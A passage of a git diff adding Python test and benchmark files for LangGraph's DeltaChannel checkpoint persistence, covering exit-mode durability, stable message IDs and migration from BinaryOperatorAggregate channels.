%s), 0) + AS total + FROM checkpoints c + WHERE c.thread_id = %s + """ + with saver._cursor() as cur: + cur.execute(sql, (thread_id, thread_id, thread_id)) + row = cur.fetchone() + if row is None: + return 0 + if isinstance(row, dict): + return int(row.get("total") or 0) + return int(row[0] or 0) + + +def _run_scenario( + freqs: list[int], + n_turns: int, + checkpointer: Any, + thread_id: str, +) -> dict[str, float | int]: + """Drive `n_turns` invocations of a K-channel graph, measure + write/read/storage/peak-memory.""" + K = len(freqs) + state_cls = _make_state_cls(freqs) + graph = _make_graph(state_cls, K, checkpointer) + config = {"configurable": {"thread_id": thread_id}} + + # Write phase + t0 = time.perf_counter() + for i in range(n_turns): + graph.invoke({}, config) + write_elapsed = time.perf_counter() - t0 + + # Read phase + tracemalloc peak across get_state calls + gc.collect() + tracemalloc.start() + t1 = time.perf_counter() + for _ in range(5): + graph.get_state(config) + read_elapsed = (time.perf_counter() - t1) / 5 + _, peak_bytes = tracemalloc.get_traced_memory() + tracemalloc.stop() + + # Storage + if isinstance(graph.checkpointer, MemorySaver): + storage = _inmemory_blob_bytes(graph.checkpointer) + elif _POSTGRES_AVAILABLE and isinstance(graph.checkpointer, PostgresSaver): + storage = _postgres_storage_bytes(graph.checkpointer, thread_id) + else: + storage = -1 + + return { + "K": K, + "turns": n_turns, + "write_total_s": write_elapsed, + "write_per_invoke_ms": (write_elapsed / n_turns) * 1000, + "read_avg_ms": read_elapsed * 1000, + "storage_bytes": storage, + "peak_mem_bytes": peak_bytes, + } + + +# --------------------------------------------------------------------------- +# Postgres helpers +# --------------------------------------------------------------------------- + + +@contextlib.contextmanager +def _pg_saver(thread_id: str): + with PostgresSaver.from_conn_string(_POSTGRES_URI) as saver: + saver.setup() + with saver._cursor() as cur: + for tbl in ("checkpoints", "checkpoint_blobs", "checkpoint_writes"): + cur.execute(f"DELETE FROM {tbl} WHERE thread_id = %s", (thread_id,)) + yield saver + with saver._cursor() as cur: + for tbl in ("checkpoints", "checkpoint_blobs", "checkpoint_writes"): + cur.execute(f"DELETE FROM {tbl} WHERE thread_id = %s", (thread_id,)) + + +def _checkpointers() -> list[tuple[str, Any]]: + result: list[tuple[str, Any]] = [("InMemory", None)] + if _POSTGRES_AVAILABLE: + try: + import psycopg + + psycopg.connect(_POSTGRES_URI).close() + result.append(("Postgres", "postgres")) + except Exception: + pass + return result + + +# --------------------------------------------------------------------------- +# Scenarios +# --------------------------------------------------------------------------- + +SCENARIOS: list[tuple[str, list[int]]] = [ + ("K=1, freq=50", [50]), + ("K=3, freq=50 uniform", [50, 50, 50]), + ("K=3, freq=mixed", [50, 200, 1000]), + ("K=8, freq=50 uniform", [50] * 8), + ("K=8, freq=mixed", [25, 50, 100, 200, 500, 1000, 1000, 1000]), +] + +TURN_COUNTS = [100, 500] + + +def _fmt_bytes(n: int) -> str: + if n < 0: + return "n/a" + if n >= 1_000_000: + return f"{n / 1_000_000:.1f} MB" + if n >= 1_000: + return f"{n / 1_000:.1f} KB" + return f"{n} B" + + +def _print_scenario_table(cp_label: str, rows: list[dict]) -> None: + print(f"\n [{cp_label}]") + header = ( + f" {'scenario':<28}{'turns':>8}{'write_ms':>11}" + f"{'read_ms':>10}{'storage':>12}{'peak_mem':>12}" + ) + print(header) + print(" " + "-" * (len(header) - 2)) + for row in rows: + print( + f" {row['scenario']:<28}" + f"{row['turns']:>8}" + f"{row['write_per_invoke_ms']:>10.1f}" + f"{row['read_avg_ms']:>10.2f}" + f"{_fmt_bytes(row['storage_bytes']):>12}" + f"{_fmt_bytes(row['peak_mem_bytes']):>12}" + ) + + +def run_benchmark() -> list[dict]: + """Run the full sweep and return all measurement rows.""" + all_rows: list[dict] = [] + for cp_label, cp_hint in _checkpointers(): + rows: list[dict] = [] + for scenario_label, freqs in SCENARIOS: + for turns in TURN_COUNTS: + thread_id = f"bench-{scenario_label.replace(' ', '_')}-{turns}".lower() + if cp_hint is None: + saver_ctx: Any = contextlib.nullcontext(None) + else: + saver_ctx = _pg_saver(thread_id) + with saver_ctx as saver: + measured = _run_scenario(freqs, turns, saver, thread_id) + measured["scenario"] = scenario_label + measured["saver"] = cp_label + rows.append(measured) + all_rows.append(measured) + _print_scenario_table(cp_label, rows) + return all_rows + + +# --------------------------------------------------------------------------- +# Pytest entry point +# --------------------------------------------------------------------------- + + +@pytest.mark.skip( + reason="slow benchmark — run manually with: python tests/test_delta_channel_benchmark.py" +) +def test_delta_channel_benchmark(capsys: Any) -> None: + """Manual benchmark — see module docstring.""" + with capsys.disabled(): + run_benchmark() + + +# --------------------------------------------------------------------------- +# Script entry point +# --------------------------------------------------------------------------- + + +if __name__ == "__main__": + print("DeltaChannel benchmark — multi-channel reads, mixed frequencies") + print("=" * 78) + run_benchmark() + sys.exit(0) diff --git a/libs/langgraph/tests/test_delta_channel_exit_mode.py b/libs/langgraph/tests/test_delta_channel_exit_mode.py new file mode 100644 index 0000000..3d18ce7 --- /dev/null +++ b/libs/langgraph/tests/test_delta_channel_exit_mode.py @@ -0,0 +1,391 @@ +"""Tests for exit-mode delta channel persistence redesign. + +Validates that `durability="exit"` correctly persists delta-channel writes +using count-based snapshot decisions (rather than force-snapshotting every +channel), lazy stub creation when no parent exists, and proper read-path +reconstruction via ancestor walks. +""" + +import uuid +from typing import Annotated, Any + +import pytest +from langchain_core.messages import AIMessage, HumanMessage +from langgraph.checkpoint.memory import InMemorySaver +from langgraph.checkpoint.serde.types import _DeltaSnapshot +from typing_extensions import TypedDict + +from langgraph.channels.delta import DeltaChannel +from langgraph.graph import START, StateGraph +from langgraph.graph.message import _messages_delta_reducer +from langgraph.pregel._checkpoint import exit_delta_task_id + +pytestmark = pytest.mark.anyio + + +def test_exit_delta_task_id_is_valid_uuid_and_ordered() -> None: + """Exit-mode synthetic task ids must parse as UUID and sort by superstep.""" + tid = "4f7226e4-0270-bf16-1ef8-fb321bef9f3d" + id1 = exit_delta_task_id(1, tid) + id7 = exit_delta_task_id(7, tid) + + uuid.UUID(id1) + uuid.UUID(id7) + assert id1 < id7 + assert id1.split("-")[0] == "00000001" + assert id7.split("-")[0] == "00000007" + assert id1.endswith("-0270-bf16-1ef8-fb321bef9f3d") + + with pytest.raises(ValueError): + uuid.UUID(f"00000001-{tid}") + + +def _build_graph( + checkpointer: InMemorySaver, + *, + freq: int = 1000, +) -> Any: + channel = DeltaChannel(_messages_delta_reducer, snapshot_frequency=freq) + # Functional TypedDict form: class form can't reference `channel` (a + # local variable) inside Annotated due to forward-ref evaluation rules. + State = TypedDict("State", {"messages": Annotated[list, channel]}) # type: ignore[call-overload] # noqa: UP013 + + def respond(state: dict) -> dict: + i = len(state["messages"]) + return {"messages": [AIMessage(content=f"reply-{i}", id=f"ai{i}")]} + + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_edge(START, "respond") + return builder.compile(checkpointer=checkpointer) + + +# --------------------------------------------------------------------------- +# 8a. Write-path / structural tests +# --------------------------------------------------------------------------- + + +async def test_exit_first_run_no_delta_writes() -> None: + """Graph with delta channel invoked with input that doesn't touch it. + Only one checkpoint row, no stub.""" + State = TypedDict( # noqa: UP013 + "State", + { + "messages": Annotated[list, DeltaChannel(_messages_delta_reducer)], + "value": str, + }, + ) # type: ignore[call-overload] + + def noop(state: dict) -> dict: + return {"value": "done"} + + saver = InMemorySaver() + builder = StateGraph(State) + builder.add_node("noop", noop) + builder.add_edge(START, "noop") + graph = builder.compile(checkpointer=saver) + config = {"configurable": {"thread_id": "no-delta-writes"}} + + graph.invoke({"value": "start"}, config, durability="exit") + + checkpoints = list(saver.list(config)) + assert len(checkpoints) == 1 + stubs = [t for t in checkpoints if t.metadata.get("step") == -2] + assert len(stubs) == 0 + + +async def test_exit_first_run_all_snapshot() -> None: + """snapshot_frequency=1 forces every channel to snapshot. + No stub needed; final_checkpoint has _DeltaSnapshot.""" + saver = InMemorySaver() + graph = _build_graph(saver, freq=1) + config = {"configurable": {"thread_id": "all-snapshot"}} + + result = graph.invoke( + {"messages": [HumanMessage(content="hi", id="h1")]}, + config, + durability="exit", + ) + assert len(result["messages"]) == 2 + + checkpoints = list(saver.list(config)) + stubs = [t for t in checkpoints if t.metadata.get("step") == -2] + assert len(stubs) == 0 + + head = saver.get_tuple(config) + assert head is not None + assert isinstance(head.checkpoint["channel_values"].get("messages"), _DeltaSnapshot) + + state = graph.get_state(config) + assert [m.content for m in state.values["messages"]] == ["hi", "reply-1"] + + +async def test_exit_first_run_sub_freq_with_writes() -> None: + """First run with default snapshot_frequency (1000), writes below threshold. + A stub is created; writes are anchored under it; get_state reconstructs.""" + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "sub-freq-first"}} + + result = graph.invoke( + {"messages": [HumanMessage(content="hello", id="h1")]}, + config, + durability="exit", + ) + assert [m.content for m in result["messages"]] == ["hello", "reply-1"] + + checkpoints = list(saver.list(config)) + stubs = [t for t in checkpoints if t.metadata.get("step") == -2] + assert len(stubs) == 1, f"Expected 1 stub, got {len(stubs)}" + + head = saver.get_tuple(config) + assert head is not None + assert "messages" not in head.checkpoint["channel_values"] + assert "messages" in head.checkpoint["channel_versions"] + + state = graph.get_state(config) + assert [m.content for m in state.values["messages"]] == ["hello", "reply-1"] + + +async def test_exit_resumed_run_sub_freq() -> None: + """Two consecutive exit runs. Second run anchors on the first's + final_checkpoint (no new stub). Ordering preserved.""" + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "resumed-sub-freq"}} + + graph.invoke( + {"messages": [HumanMessage(content="msg1", id="h1")]}, + config, + durability="exit", + ) + + graph.invoke( + {"messages": [HumanMessage(content="msg2", id="h2")]}, + config, + durability="exit", + ) + + checkpoints = list(saver.list(config)) + stubs = [t for t in checkpoints if t.metadata.get("step") == -2] + assert len(stubs) == 1 + + state = graph.get_state(config) + contents = [m.content for m in state.values["messages"]] + assert len(contents) == 4 + assert contents[0] == "msg1" + assert contents[2] == "msg2" + assert contents[0:4:2] == ["msg1", "msg2"] + + +async def test_exit_count_parity_sync_vs_exit() -> None: + """Sync and exit durability produce the same update count in + counters_since_delta_snapshot after an equivalent run.""" + for durability in ("sync", "exit"): + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": f"parity-{durability}"}} + + graph.invoke( + {"messages": [HumanMessage(content="hi", id="h1")]}, + config, + durability=durability, + ) + + head = saver.get_tuple(config) + assert head is not None + counters = head.metadata.get("counters_since_delta_snapshot", {}) + updates, supersteps = counters.get("messages", (0, 0)) + assert updates == 2, ( + f"durability={durability}: expected updates=2, got {updates}" + ) + assert supersteps >= 2, ( + f"durability={durability}: expected supersteps>=2, got {supersteps}" + ) + + +async def test_exit_snapshot_fires_at_frequency() -> None: + """With snapshot_frequency=3, after 3 exit runs (each incrementing count + by 2: input + superstep), the 2nd run hits count=4>=3, triggering snapshot. + After that run, count resets to 0 and channel_values has _DeltaSnapshot.""" + saver = InMemorySaver() + graph = _build_graph(saver, freq=3) + config = {"configurable": {"thread_id": "snapshot-at-freq"}} + + graph.invoke( + {"messages": [HumanMessage(content="m1", id="h1")]}, + config, + durability="exit", + ) + head = saver.get_tuple(config) + assert head is not None + counters1 = head.metadata.get("counters_since_delta_snapshot", {}) + updates1 = counters1.get("messages", (0, 0))[0] + assert updates1 == 2 + + graph.invoke( + {"messages": [HumanMessage(content="m2", id="h2")]}, + config, + durability="exit", + ) + head = saver.get_tuple(config) + assert head is not None + counters2 = head.metadata.get("counters_since_delta_snapshot", {}) + updates2 = counters2.get("messages", (0, 0))[0] + assert updates2 == 0, f"Expected reset to 0 after snapshot, got {updates2}" + assert isinstance(head.checkpoint["channel_values"].get("messages"), _DeltaSnapshot) + + +async def test_exit_mixed_snapshot_and_non_snapshot() -> None: + """One delta channel at freq=1 (always snapshot) and one at freq=1000 + (never snapshot within this test). Verify correct behavior for both.""" + + fast_ch = DeltaChannel(_messages_delta_reducer, snapshot_frequency=1) + slow_ch = DeltaChannel(_messages_delta_reducer, snapshot_frequency=1000) + State = TypedDict( # noqa: UP013 + "State", + {"fast": Annotated[list, fast_ch], "slow": Annotated[list, slow_ch]}, + ) # type: ignore[call-overload] + + def respond(state: dict) -> dict: + return { + "fast": [AIMessage(content="fast-reply", id="f1")], + "slow": [AIMessage(content="slow-reply", id="s1")], + } + + saver = InMemorySaver() + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_edge(START, "respond") + graph = builder.compile(checkpointer=saver) + config = {"configurable": {"thread_id": "mixed-freq"}} + + graph.invoke( + { + "fast": [HumanMessage(content="fast-in", id="fi")], + "slow": [HumanMessage(content="slow-in", id="si")], + }, + config, + durability="exit", + ) + + head = saver.get_tuple(config) + assert head is not None + assert isinstance(head.checkpoint["channel_values"].get("fast"), _DeltaSnapshot) + assert "slow" not in head.checkpoint["channel_values"] + + state = graph.get_state(config) + assert [m.content for m in state.values["fast"]] == ["fast-in", "fast-reply"] + assert [m.content for m in state.values["slow"]] == ["slow-in", "slow-reply"] + + +# --------------------------------------------------------------------------- +# 8b. Read-path tests +# --------------------------------------------------------------------------- + + +async def test_exit_multi_run_replay_chain() -> None: + """K=4 consecutive exit runs, each adding a message. After each run, + get_state returns all messages in chronological order.""" + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "replay-chain"}} + + for i in range(4): + graph.invoke( + {"messages": [HumanMessage(content=f"user-{i}", id=f"h{i}")]}, + config, + durability="exit", + ) + + state = graph.get_state(config) + contents = [m.content for m in state.values["messages"]] + user_msgs = [c for c in contents if c.startswith("user-")] + assert user_msgs == [f"user-{j}" for j in range(i + 1)], ( + f"After run {i}: user messages out of order: {user_msgs}" + ) + assert len(contents) == (i + 1) * 2 + + +async def test_exit_metadata_round_trip() -> None: + """K=5 consecutive exit runs with snapshot_frequency=5. Verify metadata + counters_since_delta_snapshot increments correctly across runs.""" + freq = 5 + saver = InMemorySaver() + graph = _build_graph(saver, freq=freq) + config = {"configurable": {"thread_id": "metadata-rt"}} + + for i in range(1, 6): + graph.invoke( + {"messages": [HumanMessage(content=f"m{i}", id=f"h{i}")]}, + config, + durability="exit", + ) + head = saver.get_tuple(config) + assert head is not None + counters = head.metadata.get("counters_since_delta_snapshot", {}) + updates = counters.get("messages", (0, 0))[0] + cumulative = i * 2 + if cumulative >= freq: + assert updates == 0 or updates == cumulative % freq or updates < freq, ( + f"After run {i}: updates={updates} should have reset or be partial" + ) + else: + assert updates == cumulative, ( + f"After run {i}: expected {cumulative}, got {updates}" + ) + + +async def test_exit_mixed_durability_round_trip() -> None: + """Alternate sync and exit durability; verify counts stay monotonic + and state accumulates correctly.""" + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "mixed-durability"}} + + for i, dur in enumerate(["sync", "exit", "sync", "exit"]): + graph.invoke( + {"messages": [HumanMessage(content=f"msg-{i}", id=f"h{i}")]}, + config, + durability=dur, + ) + + state = graph.get_state(config) + contents = [m.content for m in state.values["messages"]] + user_msgs = [c for c in contents if c.startswith("msg-")] + assert user_msgs == [f"msg-{j}" for j in range(i + 1)], ( + f"After run {i} (durability={dur}): {user_msgs}" + ) + assert len(contents) == (i + 1) * 2 + + +async def test_exit_snapshot_then_tail_deltas() -> None: + """Run 1 forces snapshot (freq=1). Run 2 at freq=1000 adds more writes + that don't snapshot. Reading after run 2 must combine the snapshot seed + with the tail deltas.""" + saver = InMemorySaver() + + graph1 = _build_graph(saver, freq=1) + config = {"configurable": {"thread_id": "snapshot-then-tail"}} + graph1.invoke( + {"messages": [HumanMessage(content="seed-msg", id="h1")]}, + config, + durability="exit", + ) + + head = saver.get_tuple(config) + assert head is not None + assert isinstance(head.checkpoint["channel_values"].get("messages"), _DeltaSnapshot) + + graph2 = _build_graph(saver, freq=1000) + graph2.invoke( + {"messages": [HumanMessage(content="tail-msg", id="h2")]}, + config, + durability="exit", + ) + + state = graph2.get_state(config) + contents = [m.content for m in state.values["messages"]] + assert "seed-msg" in contents + assert "tail-msg" in contents + assert contents.index("seed-msg") < contents.index("tail-msg") diff --git a/libs/langgraph/tests/test_delta_channel_id_stability.py b/libs/langgraph/tests/test_delta_channel_id_stability.py new file mode 100644 index 0000000..5886160 --- /dev/null +++ b/libs/langgraph/tests/test_delta_channel_id_stability.py @@ -0,0 +1,140 @@ +"""ensure_message_ids() assigns stable UUIDs to id=None BaseMessages +before DeltaChannel writes are serialised to the checkpoint. + +Without this, the checkpoint stores id=None and every get_state() replay +produces a different UUID — the same HumanMessage appears with a different +ID in each LangSmith trace / on every resumed invocation. +""" + +from __future__ import annotations + +from typing import Annotated, Any + +import pytest +from langchain_core.messages import AIMessage, AnyMessage, HumanMessage +from langgraph.checkpoint.memory import InMemorySaver +from typing_extensions import TypedDict + +from langgraph.channels.delta import DeltaChannel +from langgraph.graph import END, START, StateGraph + +pytestmark = pytest.mark.anyio + + +def _append_reducer( + state: list[AnyMessage], writes: list[list[AnyMessage]] +) -> list[AnyMessage]: + """Simple append — no ID assignment. IDs come from ensure_message_ids().""" + result = list(state) + for w in writes: + if isinstance(w, list): + result.extend(w) + else: + result.append(w) # type: ignore[arg-type] + return result + + +def _build_graph(checkpointer: Any) -> Any: + State = TypedDict( # noqa: UP013 + "State", + { + "messages": Annotated[ + list, DeltaChannel(_append_reducer, snapshot_frequency=50) + ] + }, + ) # type: ignore[call-overload] + + def agent(state: dict) -> dict: + return {"messages": [AIMessage(content="reply", id="ai-1")]} + + return ( + StateGraph(State) + .add_node("agent", agent) + .add_edge(START, "agent") + .add_edge("agent", END) + .compile(checkpointer=checkpointer) + ) + + +def test_delta_channel_message_gets_id_and_stays_stable() -> None: + """Messages written with id=None must receive a stable UUID. + + ensure_message_ids() is called in put_writes() before the background + thread serialises DeltaChannel writes. The checkpoint stores the + assigned UUID, so every get_state() replay sees the same ID. + """ + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "id-stability"}} + + graph.invoke({"messages": [HumanMessage(content="hello")]}, config) + + ids = [ + next( + m.id + for m in graph.get_state(config).values["messages"] + if isinstance(m, HumanMessage) + ) + for _ in range(3) + ] + + assert ids[0] is not None, "ensure_message_ids should have assigned a UUID" + assert len(set(ids)) == 1, ( + f"HumanMessage id must be stable across get_state() calls; " + f"got {ids}. The checkpoint is storing id=None." + ) + + +async def test_delta_channel_message_gets_id_and_stays_stable_async() -> None: + """Same check via ainvoke (AsyncPregelLoop path).""" + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "id-stability-async"}} + + await graph.ainvoke({"messages": [HumanMessage(content="hello")]}, config) + + ids = [ + next( + m.id + for m in (await graph.aget_state(config)).values["messages"] + if isinstance(m, HumanMessage) + ) + for _ in range(3) + ] + + assert ids[0] is not None, "ensure_message_ids should have assigned a UUID" + assert len(set(ids)) == 1, ( + f"Async path: HumanMessage id unstable across aget_state() calls: {ids}" + ) + + +def test_delta_channel_dict_style_message_gets_stable_id() -> None: + """Dict-style inputs (API / over-the-wire format) must also get stable IDs. + + When the graph is invoked via the LangGraph API the input arrives as a raw + dict {"role": "user", "content": "..."} rather than a BaseMessage object. + ensure_message_ids() must coerce those dicts to typed BaseMessages and + stamp a UUID so the checkpoint never stores an id-less message. + """ + saver = InMemorySaver() + graph = _build_graph(saver) + config = {"configurable": {"thread_id": "dict-id-stability"}} + + # Invoke with a raw dict (the format LangGraph API sends) + graph.invoke({"messages": [{"role": "user", "content": "hello"}]}, config) + + ids = [ + next( + m.id + for m in graph.get_state(config).values["messages"] + if isinstance(m, HumanMessage) + ) + for _ in range(3) + ] + + assert ids[0] is not None, ( + "dict-style message should have been coerced and assigned a UUID" + ) + assert len(set(ids)) == 1, ( + f"dict-style HumanMessage id must be stable across get_state() calls; got {ids}" + ) diff --git a/libs/langgraph/tests/test_delta_channel_migration.py b/libs/langgraph/tests/test_delta_channel_migration.py new file mode 100644 index 0000000..50e21ff --- /dev/null +++ b/libs/langgraph/tests/test_delta_channel_migration.py @@ -0,0 +1,618 @@ +"""Tests for the BinaryOperatorAggregate -> DeltaChannel migration path. + +A thread written under `BinaryOperatorAggregate(...)` must keep working +after its annotation is swapped to `DeltaChannel(...)` on the same +checkpointer — pre-migration state visible at each *settled* ancestor +checkpoint is preserved, and post-migration writes fold on top through +the reducer. + +Mechanism under test: the saver's public `get_delta_channel_history(config, +channels)` walks the parent chain; when it encounters an ancestor whose +`channel_values[channel]` is a real value, it populates that channel's +`seed` in the returned `DeltaChannelHistory`. If the walk reaches the root +without finding a stored value, the `seed` key is omitted (TypedDict +absence indicates "start empty"). `DeltaChannel.from_checkpoint(seed)` +uses it as the base value, and `replay_writes(writes)` folds on-path +deltas. + +Scenarios covered: + +1. **Basic migration (sync + async)**: build pre-migration state with + `BinaryOperatorAggregate`, swap the annotation to `DeltaChannel` on + the same checkpointer, and verify that every settled pre-migration + super-step boundary (`next=('__start__',)`) round-trips exactly + under the delta-channel view. +2. **Time travel into a pre-migration checkpoint** after migration — + `graph.get_state(pre_migration_config)` at a settled ancestor + returns the same state as under the binop channel. +3. **Continuing a migrated thread**: driving one more super-step after + migration produces a state that includes the pre-migration settled + prefix plus the new delta write — proving `from_checkpoint(seed)` + + `replay_writes` correctly fold post-migration deltas onto the + pre-migration seed. +4. **Base-saver fallback path**: a third-party-style subclass that + removes the optimized `InMemorySaver` override and falls back to + `BaseCheckpointSaver.get_delta_channel_history` must produce the same + result as the optimized path. +5. **Channel-type isolation across threads**: two threads on the same + checkpointer under the delta-channel graph — one freshly-started, + one migrated from pre-migration state — don't cross-contaminate. + The parent-chain walk is scoped to the thread. + +TODO: add postgres variants in the existing `libs/checkpoint-postgres` +test files (different fixture setup; not this file). +""" + +from __future__ import annotations + +import operator +from typing import Annotated, Any + +import pytest +from langchain_core.messages import AIMessage, HumanMessage +from langgraph.checkpoint.memory import InMemorySaver +from typing_extensions import TypedDict + +from langgraph.channels.binop import BinaryOperatorAggregate +from langgraph.channels.delta import DeltaChannel +from langgraph.graph import END, START, StateGraph +from langgraph.graph.message import _messages_delta_reducer, add_messages + +pytestmark = pytest.mark.anyio + + +# --------------------------------------------------------------------------- +# Graph factories +# +# A minimal reducer (`operator.add` on lists of str) with a noop node keeps +# state change localized to the HumanMessage-like payload passed through +# `invoke`. That isolates the pre/post-migration parity assertions to +# channel-hydration semantics. +# --------------------------------------------------------------------------- + + +def _noop(_state: Any) -> dict: + return {} + + +def _list_concat(state: list, writes: list) -> list: + result = list(state) + for w in writes: + result.extend(w if isinstance(w, list) else [w]) + return result + + +def _binop_graph(checkpointer: Any) -> Any: + class BinopState(TypedDict): + items: Annotated[list, BinaryOperatorAggregate(list, operator.add)] + + return ( + StateGraph(BinopState) + .add_node("noop", _noop) + .add_edge(START, "noop") + .add_edge("noop", END) + .compile(checkpointer=checkpointer) + ) + + +def _delta_graph(checkpointer: Any) -> Any: + class DeltaState(TypedDict): + items: Annotated[list, DeltaChannel(_list_concat)] + + return ( + StateGraph(DeltaState) + .add_node("noop", _noop) + .add_edge(START, "noop") + .add_edge("noop", END) + .compile(checkpointer=checkpointer) + ) + + +def _drive(graph: Any, config: dict, tag: str, n: int) -> None: + for i in range(n): + graph.invoke({"items": [f"{tag}{i}"]}, config) + + +async def _adrive(graph: Any, config: dict, tag: str, n: int) -> None: + for i in range(n): + await graph.ainvoke({"items": [f"{tag}{i}"]}, config) + + +def _settled_boundaries(history: list) -> list[tuple[dict, list]]: + """Return `[(config, items), ...]` for every checkpoint in `history` + whose `next == ('__start__',)` — the stable boundaries between invokes. + """ + return [ + (s.config, list(s.values.get("items", []))) + for s in history + if s.next == ("__start__",) + ] + + +# --------------------------------------------------------------------------- +# 1. Basic migration (sync + async) +# --------------------------------------------------------------------------- + + +def test_basic_migration_preserves_pre_migration_state() -> None: + """Build state under `BinaryOperatorAggregate`, migrate to + `DeltaChannel` on the same checkpointer, and verify that every + settled pre-migration super-step boundary round-trips exactly. + + Settled boundaries (`next=('__start__',)`) are the stable hydration + targets for the migration path: writes that produced the NEXT + super-step are kept as `pending_writes` on the ancestor, so walking + from a descendant finds the ancestor's blob as the seed and + reconstructs the correct state. + """ + + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "basic-sync"}} + + # Pre-migration: accumulate items across 3 invokes. + binop = _binop_graph(checkpointer) + _drive(binop, config, "u", 3) + + pre_boundaries = _settled_boundaries(list(binop.get_state_history(config))) + assert len(pre_boundaries) >= 2, "expected multiple settled boundaries" + + # Migrate: swap the annotation on the same checkpointer. + delta = _delta_graph(checkpointer) + + for cfg, items in pre_boundaries: + snap = delta.get_state(cfg) + assert list(snap.values.get("items", [])) == items, ( + f"snapshot mismatch at {cfg['configurable']['checkpoint_id']}: " + f"expected {items}, got {snap.values.get('items', [])}" + ) + + +async def test_basic_migration_preserves_pre_migration_state_async() -> None: + """Async variant of the basic migration scenario.""" + + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "basic-async"}} + + binop = _binop_graph(checkpointer) + await _adrive(binop, config, "u", 3) + + pre_history = [s async for s in binop.aget_state_history(config)] + pre_boundaries = _settled_boundaries(pre_history) + assert len(pre_boundaries) >= 2 + + delta = _delta_graph(checkpointer) + + for cfg, items in pre_boundaries: + snap = await delta.aget_state(cfg) + assert list(snap.values.get("items", [])) == items, ( + f"async snapshot mismatch at {cfg['configurable']['checkpoint_id']}" + ) + + +# --------------------------------------------------------------------------- +# 2. Time travel into a pre-migration checkpoint after migration +# --------------------------------------------------------------------------- + + +def test_time_travel_into_pre_migration_checkpoint() -> None: + """After migration, `graph.get_state(pre_migration_config)` at a + settled ancestor returns the state as stored at that point.""" + + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "time-travel"}} + + binop = _binop_graph(checkpointer) + _drive(binop, config, "u", 3) + + pre_boundaries = _settled_boundaries(list(binop.get_state_history(config))) + assert pre_boundaries, "no settled ancestors to time-travel to" + + delta = _delta_graph(checkpointer) + + # Pick the oldest non-empty boundary — a long distance to walk back. + non_empty = [(cfg, items) for cfg, items in pre_boundaries if items] + assert non_empty, "expected at least one non-empty boundary" + target_cfg, expected_items = non_empty[-1] + + snap = delta.get_state(target_cfg) + assert list(snap.values.get("items", [])) == expected_items + + +# --------------------------------------------------------------------------- +# 3. Continuing a migrated thread: deltas fold onto pre-migration seed +# --------------------------------------------------------------------------- + + +def test_continuing_migrated_thread_folds_deltas_on_seed() -> None: + """Resume a pre-migration settled ancestor via `invoke(None, cfg)` + under the delta-channel graph. Since the pre-migration checkpoint + has an existing `pending_writes` entry (the input for the NEXT + super-step), re-running from that ancestor reproduces the same + post-ancestor state as the original binop run. + + This proves the seed-terminator + write-replay pipeline works + end-to-end across the migration boundary. + """ + + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "continue"}} + + binop = _binop_graph(checkpointer) + _drive(binop, config, "u", 2) + + # Pick the oldest settled boundary with non-empty state. + pre_boundaries = _settled_boundaries(list(binop.get_state_history(config))) + target_cfg, seed_items = next( + (cfg, items) for cfg, items in reversed(pre_boundaries) if items + ) + assert seed_items, "need a non-empty seed boundary" + + # Migrate and resume from the pre-migration ancestor. `invoke(None, + # cfg)` replays the pending writes staged at `cfg` under the new + # channel; the reducer folds those deltas onto the seed. + delta = _delta_graph(checkpointer) + result = delta.invoke(None, target_cfg) + + # The resumed state must include the pre-migration seed items in order. + result_items = list(result.get("items", [])) + for idx, prefix_item in enumerate(seed_items): + assert result_items[idx] == prefix_item, ( + f"pre-migration seed item at {idx} not preserved: " + f"got {result_items[: idx + 1]}, expected {seed_items}" + ) + + +# --------------------------------------------------------------------------- +# 4. Base-saver fallback path +# --------------------------------------------------------------------------- + + +class _ThirdPartyStyleSaver(InMemorySaver): + """Simulates a third-party saver that inherits the reference + `get_delta_channel_history` implementation from `BaseCheckpointSaver` + rather than overriding it. + + We rebind the two methods to the base-class versions (via MRO) so + the fallback path is exercised even though the storage layer is + still the in-memory one. + """ + + # MRO: [_ThirdPartyStyleSaver, InMemorySaver, BaseCheckpointSaver, ...] + get_delta_channel_history = ( # type: ignore[assignment] + InMemorySaver.__mro__[1].get_delta_channel_history # type: ignore[attr-defined] + ) + aget_delta_channel_history = ( # type: ignore[assignment] + InMemorySaver.__mro__[1].aget_delta_channel_history # type: ignore[attr-defined] + ) + + +def test_base_saver_fallback_matches_optimized_override() -> None: + """The reference `BaseCheckpointSaver` implementation must produce + the same migration behavior as the optimized `InMemorySaver` + override. We drive the same migration scenario through both savers + and assert per-snapshot parity in the delta-channel view.""" + + # Fast path: optimized InMemorySaver override. + fast_saver = InMemorySaver() + fast_config = {"configurable": {"thread_id": "fast"}} + fast_binop = _binop_graph(fast_saver) + _drive(fast_binop, fast_config, "u", 3) + fast_delta = _delta_graph(fast_saver) + fast_history = [ + (s.next, list(s.values.get("items", []))) + for s in fast_delta.get_state_history(fast_config) + ] + + # Slow path: base-class fallback. + slow_saver = _ThirdPartyStyleSaver() + slow_config = {"configurable": {"thread_id": "slow"}} + slow_binop = _binop_graph(slow_saver) + _drive(slow_binop, slow_config, "u", 3) + slow_delta = _delta_graph(slow_saver) + slow_history = [ + (s.next, list(s.values.get("items", []))) + for s in slow_delta.get_state_history(slow_config) + ] + + assert slow_history == fast_history, ( + "base-saver fallback should match optimized-override behavior; " + f"fast={fast_history}, slow={slow_history}" + ) + + +# --------------------------------------------------------------------------- +# 5. Thread isolation under mixed-generation storage +# --------------------------------------------------------------------------- + + +def test_delta_and_migrated_threads_do_not_cross_contaminate() -> None: + """Two threads sharing a checkpointer — one migrated from + pre-migration state, one freshly-started under DeltaChannel — must + maintain independent state. The parent-chain walk in + `get_delta_channel_history` must be scoped to the target thread. + """ + + checkpointer = InMemorySaver() + migrated_cfg = {"configurable": {"thread_id": "migrated"}} 